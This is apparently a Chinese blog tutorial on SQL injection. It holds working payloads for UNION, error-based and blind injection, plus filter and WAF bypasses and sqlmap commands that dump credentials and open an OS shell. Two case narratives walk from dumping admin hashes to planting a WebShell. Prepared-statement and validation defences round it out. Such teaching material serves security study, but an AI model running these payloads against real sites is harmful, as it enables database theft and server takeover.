Web安全实战:SQL注入深度解析与防御

摘要:本文从攻击者与防御者双重视角,深度解析SQL注入的原理、分类、利用手法、绕过技巧、检测方法与防御策略。涵盖联合查询注入、报错注入、盲注等核心攻击技术,以及预编译、输入验证、WAF等关键防御手段,并通过实战案例与工具使用指南,提供全面的SQL注入攻防知识体系。

一、SQL注入基础

1.1 什么是SQL注入?

SQL注入(SQL Injection)是指攻击者通过在Web应用的输入参数中插入恶意的SQL代码,从而操控数据库执行非预期SQL语句的攻击。

简单例子:

// 漏洞代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);

正常请求:

https://example.com/news.php?id=1
执行的SQL:SELECT * FROM users WHERE id = 1

攻击请求:

https://example.com/news.php?id=1' OR '1'='1
执行的SQL:SELECT * FROM users WHERE id = 1' OR '1'='1'
结果:返回所有用户数据(因为 '1'='1' 永远为真)

1.2 SQL注入的危害

  • 数据泄露:攻击者可以查询数据库中的敏感数据(账号密码、身份证号、银行卡号等)
  • 数据篡改:攻击者可以修改、删除数据
  • 权限提升:攻击者可以获取管理员账号
  • 上传后门:在某些数据库配置下,攻击者可以写入WebShell
  • 内网渗透:通过数据库链接,攻击者可以攻击内网其他系统

二、SQL注入的分类

2.1 按注入点分类

  • GET参数注入:注入点在URL参数中
  • POST参数注入:注入点在POST请求体中
  • Cookie注入:注入点在Cookie中
  • HTTP头注入:注入点在HTTP请求头中(如User-Agent、Referer)

2.2 按返回结果分类

  • 有回显注入:注入结果直接显示在页面上
    • 联合查询注入(UNION SELECT)
    • 报错注入(利用数据库报错信息)
  • 无回显注入:注入结果不直接显示
    • 盲注(Boolean Blind Injection)
    • 时间盲注(Time Blind Injection)

2.3 按数据库类型分类

不同数据库的SQL语法有差异,注入方式也不同:

  • MySQL注入
  • MsSQL(SQL Server)注入
  • Oracle注入
  • PostgreSQL注入
  • Access注入

三、SQL注入的利用

3.1 联合查询注入(UNION SELECT)

原理:利用 UNION 关键字,把多条SELECT语句的结果合并。

利用条件:

  1. 原查询的列数已知
  2. 原查询的结果可以显示在页面上

步骤:

第1步:判断列数

-- 用 ORDER BY 判断列数
SELECT * FROM users WHERE id = 1 ORDER BY 1  -- 正常
SELECT * FROM users WHERE id = 1 ORDER BY 2  -- 正常
SELECT * FROM users WHERE id = 1 ORDER BY 3  -- 正常
SELECT * FROM users WHERE id = 1 ORDER BY 4  -- 报错(说明有3列)

第2步:判断显示位

SELECT * FROM users WHERE id = -1 UNION SELECT 1,2,3

页面上会显示数字 2 和 3,说明第2列和第3列的结果会显示在页面上。

第3步:获取数据库信息

-- 获取当前数据库名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,database(),version()
-- 获取所有数据库名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata
-- 获取当前数据库的表名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()
-- 获取表的列名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'
-- 获取账号密码
SELECT * FROM users WHERE id = -1 UNION SELECT 1,username,password FROM users

3.2 报错注入

原理:利用数据库的报错信息,把想要的数据显示在错误信息中。

MySQL报错注入函数:

updatexml()

SELECT * FROM users WHERE id = 1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
报错信息:XPATH syntax error: '~security~'
说明当前数据库名是 security。

extractvalue()

SELECT * FROM users WHERE id = 1 AND extractvalue(1,concat(0x7e,(SELECT database())))

floor()

SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables group by x)a)

3.3 盲注(Blind Injection)

原理:页面不返回查询结果,只能通过"真/假"判断来逐步获取数据。

Boolean盲注:

-- 判断当前数据库名的长度
SELECT * FROM users WHERE id = 1 AND length(database())=8  -- 页面正常(说明数据库名长度是8)
-- 逐个字符猜解数据库名
SELECT * FROM users WHERE id = 1 AND substr(database(),1,1)='s'  -- 页面正常(说明第1个字符是's')
SELECT * FROM users WHERE id = 1 AND substr(database(),2,1)='e'  -- 页面正常(说明第2个字符是'e')

时间盲注:

-- 如果数据库名第一个字符是's',则延迟5秒
SELECT * FROM users WHERE id = 1 AND IF(substr(database(),1,1)='s',sleep(5),0)

四、SQL注入的绕过技巧

4.1 绕过空格过滤

过滤代码:

$id = str_replace(' ','',$id);  // 过滤空格

绕过方法:

  • 用注释代替空格
    SELECT//*/FROM//*users**/
  • 用Tab代替空格
    SELECT	FROM	users
  • 用换行代替空格
    SELECT
    FROM
    users

4.2 绕过关键字过滤

过滤代码:

$id = str_ireplace('SELECT','',$id);  // 过滤SELECT
$id = str_ireplace('UNION','',$id);   // 过滤UNION

绕过方法:

  • 大小写混淆
    SeLeCt * FrOm users
  • 双写关键字
    UNIunionON SEselectLECT * FROM users
  • 用注释分割关键字
    UN//ION SE//LECT * FROM users
  • 用十六进制编码
    SELECT 0x73656c656374  -- 0x73656c656374 是 'select' 的十六进制

4.3 绕过WAF

WAF(Web应用防火墙)会检测SQL注入特征,常见绕过方法:

  • 分块传输(Chunked Transfer Encoding):把POST数据分块发送,WAF可能无法检测
  • 协议不匹配:有些WAF只检测GET/POST,不检测Cookie/HTTP头
  • 参数污染(HPP):
    ?id=1&id=SELECT * FROM users
    有些WAF只看第一个参数,不看第二个
  • 绕过云WAF的CDN:直接访问源站IP,绕过云WAF

五、SQL注入的检测

5.1 手工检测

测试步骤:

  1. 加单引号,看是否报错
    https://example.com/news.php?id=1'
    如果页面报错,说明可能存在SQL注入。
  2. 用 AND 1=1 和 AND 1=2 判断
    https://example.com/news.php?id=1 AND 1=1  -- 页面正常
    https://example.com/news.php?id=1 AND 1=2  -- 页面异常
    如果第1个正常、第2个异常,说明SQL注入存在。
  3. 用 sleep() 判断时间盲注
    https://example.com/news.php?id=1 AND sleep(5)
    如果页面延迟5秒才返回,说明存在时间盲注。

5.2 工具检测

sqlmap:最强大的SQL注入检测和利用工具。

基本用法:

# 检测GET参数
sqlmap -u "https://example.com/news.php?id=1"
检测POST参数
sqlmap -u "https://example.com/login.php" --data "username=admin&password=123456"
指定数据库类型
sqlmap -u "https://example.com/news.php?id=1" --dbms mysql
获取所有数据库名
sqlmap -u "https://example.com/news.php?id=1" --dbs
获取表名
sqlmap -u "https://example.com/news.php?id=1" -D security --tables
获取列名
sqlmap -u "https://example.com/news.php?id=1" -D security -T users --columns
获取账号密码
sqlmap -u "https://example.com/news.php?id=1" -D security -T users --dump

六、SQL注入的防御

6.1 预编译(Prepared Statement)

原理:把SQL语句和参数分开,参数不会改变SQL语句的结构。

Java示例:

// 错误写法(拼接SQL)
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// 正确写法(预编译)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

PHP示例:

// 错误写法
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql);
// 正确写法(PDO)
$sql = "SELECT * FROM users WHERE username = :username AND password = :password";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();

6.2 输入验证

白名单验证:只允许特定格式的输入。

// 验证ID只能是数字
if (!preg_match('/^\d+$/', $id)) {
    die('Invalid ID');
}

6.3 转义特殊字符

  • mysql_real_escape_string()(不推荐,因为可能有编码绕过)
  • addslashes()(不推荐,因为可能有宽字节注入)
  • 更好的方法:用预编译(见6.1)

6.4 WAF

部署WAF,拦截SQL注入攻击。

开源WAF:

  • ModSecurity
  • Naxsi

商业WAF:

  • 阿里云WAF
  • 腾讯云WAF
  • 奇安信WAF

七、实战案例

案例1:某电商网站的SQL注入

发现过程:

  1. 用sqlmap扫描,发现 ?id= 参数存在注入
  2. 用 --dbs 获取所有数据库名
  3. 发现有一个数据库叫 shop,里面有个表叫 admin
  4. 用 --dump 导出管理员账号密码
  5. 登录后台,发现可以上传文件,上传WebShell
  6. 通过WebShell,拿下整台服务器

修复方法:

  1. 用预编译重写SQL查询
  2. 部署WAF
  3. 定期扫描漏洞

攻击流程图:

flowchart TD
    A[开始攻击] --> B[使用sqlmap扫描目标网站]
    B --> C{发现?id参数存在SQL注入?}
    C -->|是| D[使用--dbs获取所有数据库名]
    C -->|否| Z[攻击失败]
    D --> E{发现敏感数据库shop?}
    E -->|是| F[发现admin表]
    E -->|否| Z
    F --> G[使用--dump导出管理员账号密码]
    G --> H[尝试登录后台系统]
    H --> I{登录成功?}
    I -->|是| J[寻找文件上传功能]
    I -->|否| Z
    J --> K{找到上传点?}
    K -->|是| L[上传WebShell文件]
    K -->|否| Z
    L --> M{上传成功?}
    M -->|是| N[通过WebShell连接服务器]
    M -->|否| Z
    N --> O[获取服务器控制权限]
    O --> P[横向移动/权限提升]
    P --> Q[拿下整台服务器]
    Q --> R[攻击成功]
    Z --> S[结束攻击流程]
style A fill:#f9f,stroke:#333,stroke-width:2px
style R fill:#9f9,stroke:#333,stroke-width:2px
style Z fill:#f99,stroke:#333,stroke-width:2px</code></pre>
流程图说明:
开始攻击 → 使用sqlmap扫描目标网站,这是攻击的起点。
发现注入点 → 如果发现?id参数存在SQL注入,则继续攻击流程;否则攻击失败。
信息收集 → 获取数据库信息,寻找敏感数据库和表。
凭证窃取 → 导出管理员账号密码,尝试登录后台。
权限维持 → 寻找上传功能,上传WebShell文件。
控制服务器 → 通过WebShell连接服务器,获取控制权限。
横向移动 → 在服务器内部进行权限提升和横向移动。
攻击成功/失败 → 绿色表示攻击成功,红色表示攻击失败。
案例2:某CMS系统时间盲注实战
背景:某内容管理系统(CMS)的搜索功能存在时间盲注漏洞,页面没有明显的错误回显,但可以通过时间延迟判断SQL语句是否执行成功。
发现过程:
初步测试:在搜索框中输入单引号,页面没有报错,但响应时间略有异常
时间延迟验证:输入 1' AND sleep(5)--,页面延迟5秒返回,确认存在时间盲注
手工验证:使用布尔逻辑测试
	
-- 测试数据库名长度
search.php?keyword=1' AND IF(length(database())=8,sleep(2),0)-- 
-- 页面延迟2秒,说明数据库名长度为8
-- 测试数据库名第一个字符
search.php?keyword=1' AND IF(substr(database(),1,1)='c',sleep(2),0)--
-- 页面延迟2秒,说明第一个字符是'c'
使用sqlmap自动化注入:
由于手工注入效率低下,使用sqlmap的--technique=TIME参数进行自动化时间盲注测试。
基本检测:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --level=3 --risk=2
确认注入点:
[15:24:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:24:18] [INFO] 'http://target.com/search.php?keyword=test' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
获取数据库信息:
# 获取当前数据库名
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --current-db
# 获取所有数据库名
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --dbs
# 获取当前用户
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --current-user
获取表名:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb --tables
[15:25:45] [INFO] fetching tables for database: 'cmsdb'
[15:25:45] [INFO] fetching number of tables for database 'cmsdb'
[15:25:45] [INFO] retrieved: 12
[15:26:30] [INFO] retrieved: users
[15:27:15] [INFO] retrieved: articles
[15:27:45] [INFO] retrieved: comments
...
获取列名:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb -T users --columns
[15:28:30] [INFO] fetching columns for table 'users' in database 'cmsdb'
[15:28:30] [INFO] retrieved: 6
[15:29:15] [INFO] retrieved: id
[15:29:45] [INFO] retrieved: username
[15:30:15] [INFO] retrieved: password
[15:30:45] [INFO] retrieved: email
[15:31:15] [INFO] retrieved: role
[15:31:45] [INFO] retrieved: created_at
导出数据:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb -T users --dump
[15:32:30] [INFO] fetching entries for table 'users' in database 'cmsdb'
[15:32:30] [INFO] retrieved: 3
[15:33:15] [INFO] retrieved: 1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin@target.com', 'administrator', '2023-01-15 10:30:00'
[15:33:45] [INFO] retrieved: 2, 'editor', 'e10adc3949ba59abbe56e057f20f883e', 'editor@target.com', 'editor', '2023-01-16 14:20:00'
[15:34:15] [INFO] retrieved: 3, 'user1', '25d55ad283aa400af464c76d713c07ad', 'user1@target.com', 'subscriber', '2023-01-17 09:15:00'
关键命令行输出说明:
1. 初始检测确认时间盲注:
$ sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --level=3 --risk=2
...
[15:24:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:24:18] [INFO] 'http://target.com/search.php?keyword=test' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[15:24:18] [INFO] testing for SQL injection on GET parameter 'keyword'
[15:24:18] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SELECT)'
[15:24:23] [INFO] GET parameter 'keyword' appears to be 'MySQL >= 5.0.12 time-based blind (SELECT)' injectable
...
2. 获取数据库信息:
$ sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --dbs
...
[15:25:00] [INFO] fetching database names
[15:25:00] [INFO] retrieved: information_schema
[15:25:30] [INFO] retrieved: cmsdb
[15:26:00] [INFO] retrieved: mysql
[15:26:30] [INFO] retrieved: performance_schema
available databases [4]:
[*] cmsdb
[*] information_schema
[*] mysql
[*] performance_schema
...
3. 导出用户表数据:
$ sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb -T users --dump
...
[15:32:30] [INFO] fetching entries for table 'users' in database 'cmsdb'
[15:32:30] [INFO] retrieved: 3
[15:33:15] [INFO] retrieved: 1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin@target.com', 'administrator', '2023-01-15 10:30:00'
[15:33:45] [INFO] retrieved: 2, 'editor', 'e10adc3949ba59abbe56e057f20f883e', 'editor@target.com', 'editor', '2023-01-16 14:20:00'
[15:34:15] [INFO] retrieved: 3, 'user1', '25d55ad283aa400af464c76d713c07ad', 'user1@target.com', 'subscriber', '2023-01-17 09:15:00'
Database: cmsdb
Table: users
[3 entries]
+----+----------+----------------------------------+-------------------+---------------+---------------------+
| id | username | password                         | email             | role          | created_at          |
+----+----------+----------------------------------+-------------------+---------------+---------------------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@target.com  | administrator | 2023-01-15 10:30:00 |
| 2  | editor   | e10adc3949ba59abbe56e057f20f883e | editor@target.com | editor        | 2023-01-16 14:20:00 |
| 3  | user1    | 25d55ad283aa400af464c76d713c07ad | user1@target.com  | subscriber    | 2023-01-17 09:15:00 |
+----+----------+----------------------------------+-------------------+---------------+---------------------+
...
完整攻击流程:
漏洞发现:通过手工测试发现时间延迟,确认存在时间盲注漏洞
工具验证:使用sqlmap的--technique=TIME参数确认注入点
信息收集:获取数据库名、表名、列名等结构信息
数据提取:导出敏感数据(用户表、管理员凭证等)
权限提升:尝试使用获取的管理员密码登录后台系统
后续利用:根据CMS特性寻找其他漏洞点(如文件上传、命令执行等)
修复建议:
使用预编译语句:将所有SQL查询改为参数化查询
输入验证:对搜索关键词进行严格的格式验证
时间盲注防护:限制SQL语句的最大执行时间
错误处理:统一错误页面,避免泄露数据库信息
WAF部署:部署Web应用防火墙检测和拦截时间盲注攻击
技术要点总结:
时间盲注特征:页面无错误回显,但响应时间随SQL语句变化
sqlmap关键参数:--technique=TIME指定时间盲注技术
自动化优势:相比手工注入,sqlmap能自动猜解数据库结构
防护难点:时间盲注难以通过传统输入过滤完全防御,需要多层防护
检测方法:监控数据库查询响应时间,设置超时阈值
八、工具使用
8.1 sqlmap高级用法
# 指定注入点
sqlmap -u "https://example.com/news.php?id=1*"  # * 是指定注入点
绕过WAF
sqlmap -u "https://example.com/news.php?id=1" --tamper=charencode,charunicodeencode
用代理(Burp Suite)
sqlmap -u "https://example.com/news.php?id=1" --proxy "http://127.0.0.1:8080"
保持会话(Cookie)
sqlmap -u "https://example.com/news.php?id=1" --cookie "PHPSESSID=abc123"
获取Shell
sqlmap -u "https://example.com/news.php?id=1" --os-shell
8.2 Burp Suite + sqlmap
Burp Suite 和 sqlmap 是渗透测试中常用的黄金组合。Burp Suite 负责拦截、修改和重放 HTTP 请求,而 sqlmap 则专注于 SQL 注入的检测和利用。两者结合可以大大提高测试效率。
结合使用的优势:
自动化测试:Burp Suite 可以自动爬取网站,发现所有可能的注入点
请求修改:Burp Suite 可以方便地修改请求参数、Cookie、Headers 等
会话保持:Burp Suite 可以管理会话,sqlmap 可以直接使用这些会话
可视化分析:Burp Suite 提供直观的请求/响应分析界面
完整工作流程:
发现潜在注入点
使用 Burp Suite 的 Spider 功能自动爬取网站
手动浏览网站,重点关注 GET/POST 参数、Cookie、HTTP 头等
在 Proxy → HTTP history 中查看所有请求记录
保存请求到文件
在 Burp Suite 中右键点击目标请求
选择 "Save item",保存为 request.txt 文件
或者复制整个请求内容到剪贴板
使用 sqlmap 进行测试
# 方法1:使用保存的请求文件
sqlmap -r request.txt
方法2:直接使用 Burp Suite 代理
sqlmap -u "https://example.com/news.php?id=1" --proxy "http://127.0.0.1:8080"
方法3:使用从 Burp Suite 复制的请求(通过 --data 参数)
sqlmap -u "https://example.com/news.php?id=1" --data "username=admin&password=123456" --cookie "PHPSESSID=abc123"
高级组合技巧
批量测试:使用 Burp Suite 的 Intruder 模块生成 payload,然后用 sqlmap 批量测试
绕过 WAF:Burp Suite 可以修改请求编码,sqlmap 可以使用 --tamper 脚本
会话管理:Burp Suite 的 Session handling rules 可以自动处理登录状态
结果验证:在 Burp Suite 的 Repeater 中手动验证 sqlmap 发现的注入点
自动化集成
# 使用 sqlmap API 与 Burp Suite 扩展结合
安装 sqlmap API:python sqlmapapi.py -s
在 Burp Suite 中安装相关扩展,实现一键测试
配置 Burp Suite 代理:
启动 Burp Suite,在 Proxy → Options 中确保代理监听端口为 8080
在浏览器中配置代理为 127.0.0.1:8080
访问目标网站,Burp Suite 会拦截所有请求
实战示例:
在 Burp Suite 中拦截登录请求:POST /login.php
保存请求为 login_request.txt
使用 sqlmap 测试:
	
sqlmap -r login_request.txt --level 5 --risk 3 --dbs
如果发现注入,继续获取数据:
	
sqlmap -r login_request.txt -D target_db --tables
sqlmap -r login_request.txt -D target_db -T users --dump
注意事项:
确保有合法的授权才能进行测试
在生产环境测试时使用 --batch 参数避免交互式确认
使用 --threads 参数控制并发数,避免对目标造成过大压力
测试完成后及时清理测试数据
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值